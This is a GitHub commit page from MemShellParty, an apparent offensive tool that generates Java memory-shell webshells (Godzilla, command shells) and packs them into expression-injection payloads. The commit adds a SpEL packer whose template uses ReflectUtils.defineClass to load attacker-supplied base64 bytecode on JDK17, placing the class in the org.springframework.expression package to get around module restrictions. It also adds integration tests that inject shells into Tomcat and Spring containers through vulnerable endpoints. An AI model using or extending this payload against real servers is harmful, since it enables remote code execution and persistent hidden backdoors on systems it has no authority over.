Skip to content

Commit 9b10f96

Browse files
xcxmikuReaJason
andauthored
feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
1 parent 74b3508 commit 9b10f96

File tree

12 files changed

+87
-52
lines changed

12 files changed

+87
-52
lines changed

.github/workflows/memshell-integration-test.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ on:
55
branches:
66
- '**'
77
paths:
8+
- './github/workflows/memshell-integration-test.yml'
89
- '**/memshell/**'
910
- '**/packer/**'
1011

docs/BuildOnLocal.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,12 +25,12 @@ bun run build
2525
3. 构建后端项目,确保使用 JDK17 环境
2626

2727
```bash
28-
cd MemShellParty/boot
28+
cd MemShellParty
2929

3030
./gradlew :boot:bootjar -x test
3131
```
3232

33-
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
33+
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
3434

3535
```bash
3636
cd MemShellParty/boot
@@ -39,7 +39,7 @@ java -jar \
3939
--add-opens=java.base/java.util=ALL-UNNAMED \
4040
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
4141
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
42-
build/libs/boot-1.0.0.jar
42+
build/libs/boot-2.0.0.jar
4343
```
4444

4545
也可这基础上再继续构建容器来使用

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,10 @@
3535
import java.nio.file.Files;
3636
import java.nio.file.Path;
3737
import java.util.Objects;
38+
import java.util.Random;
3839

40+
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
41+
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
3942
import static org.hamcrest.CoreMatchers.anyOf;
4043
import static org.hamcrest.CoreMatchers.containsString;
4144
import static org.hamcrest.MatcherAssert.assertThat;
@@ -87,7 +90,7 @@ public static void shellInjectIsOk(String url, String server, String shellType,
8790

8891
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
8992

90-
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
93+
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
9194

9295
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
9396

@@ -288,11 +291,14 @@ public static ShellToolConfig getShellToolConfig(String shellType, ShellTool she
288291
return shellToolConfig;
289292
}
290293

291-
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
294+
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
292295
InjectorConfig injectorConfig = new InjectorConfig();
293296
if (StringUtils.isNotBlank(urlPattern)) {
294297
injectorConfig.setUrlPattern(urlPattern);
295298
}
299+
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
300+
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
301+
}
296302

297303
ShellConfig shellConfig = ShellConfig.builder()
298304
.server(server)
@@ -324,8 +330,9 @@ public static void injectIsOk(String url, String shellType, ShellTool shellTool,
324330
}
325331
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
326332
case EL -> VulTool.postIsOk(url + "/el", content);
327-
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
328-
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
333+
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
334+
VulTool.postIsOk(url + "/spel", content);
335+
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
329336
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
330337
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
331338
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,15 @@
11
package com.reajason.javaweb.integration.memshell.springwebmvc;
22

33
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.ShellAssertion;
45
import com.reajason.javaweb.integration.TestCasesProvider;
56
import com.reajason.javaweb.memshell.ShellTool;
67
import com.reajason.javaweb.memshell.ShellType;
78
import com.reajason.javaweb.packer.Packers;
89
import lombok.extern.slf4j.Slf4j;
910
import net.bytebuddy.jar.asm.Opcodes;
1011
import org.junit.jupiter.api.AfterAll;
12+
import org.junit.jupiter.api.Test;
1113
import org.junit.jupiter.params.ParameterizedTest;
1214
import org.junit.jupiter.params.provider.Arguments;
1315
import org.junit.jupiter.params.provider.MethodSource;
@@ -100,4 +102,9 @@ static Stream<Arguments> tomcatCasesProvider() {
100102
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
101103
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
102104
}
105+
106+
@Test
107+
void testCommandValveSpELSpringIOUtilsJDK17() {
108+
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
109+
}
103110
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,7 @@ void test(String imageName, String shellType, ShellTool shellTool, Packers packe
7878
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
7979
.build();
8080

81-
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
81+
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
8282

8383
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
8484

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,11 +44,9 @@ static Stream<Arguments> casesProvider() {
4444
return Stream.of(
4545
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
4646
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
47-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
4847
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
4948
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
5049
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
51-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
5250
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
5351
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
5452
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),

packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,18 @@ public interface AggregatePacker extends Packer {
1616
* 聚合打包当前所有分类下的 payload
1717
*
1818
* @param config 生成结果
19-
* @return key -> 打包名称, value -> 打包 payload
19+
* @return key -> 打包名称,value -> 打包 payload
2020
*/
2121
default Map<String, String> packAll(ClassPackerConfig config) {
2222
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
2323
Enum::name,
24-
packers -> packers.getInstance().pack(config),
24+
packers -> {
25+
try {
26+
return packers.getInstance().pack(config);
27+
} catch (Exception e) {
28+
return e.getMessage();
29+
}
30+
},
2531
(existing, replacement) -> existing,
2632
LinkedHashMap::new
2733
));

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -33,13 +33,12 @@
3333
import com.reajason.javaweb.packer.ognl.OGNLPacker;
3434
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
3535
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
36-
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
3736
import com.reajason.javaweb.packer.rhino.RhinoPacker;
3837
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
3938
import com.reajason.javaweb.packer.spel.SpELPacker;
4039
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
40+
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
4141
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
42-
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
4342
import com.reajason.javaweb.packer.velocity.VelocityPacker;
4443
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
4544
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -92,7 +91,6 @@ public enum Packers {
9291

9392
OGNL(new OGNLPacker()),
9493
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
95-
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
9694
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
9795

9896
MVEL(new MVELPacker()),
@@ -104,7 +102,7 @@ public enum Packers {
104102
SpEL(new SpELPacker()),
105103
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
106104
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
107-
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
105+
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
108106

109107
Groovy(new GroovyPacker()),
110108
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java

Lines changed: 0 additions & 18 deletions
This file was deleted.
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.reajason.javaweb.packer.spel;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2024/12/13
9+
*/
10+
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
11+
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
12+
13+
@Override
14+
public String pack(ClassPackerConfig config) {
15+
String className = config.getClassName();
16+
assertClassNameValid(className);
17+
return template.replace("{{className}}", className)
18+
.replace("{{base64Str}}", config.getClassBytesBase64Str());
19+
}
20+
21+
public static void assertClassNameValid(String className) {
22+
String packageName = className.substring(0, className.lastIndexOf("."));
23+
if (!"org.springframework.expression".equals(packageName)) {
24+
throw new UnsupportedOperationException(className + " is not supported, please set className in same package org.springframework.expression, " +
25+
"for example, org.springframework.expression.CommonUtil, org.springframework.expression.sub.CommonUtil will also not work");
26+
}
27+
}
28+
}

0 commit comments

Comments
 (0)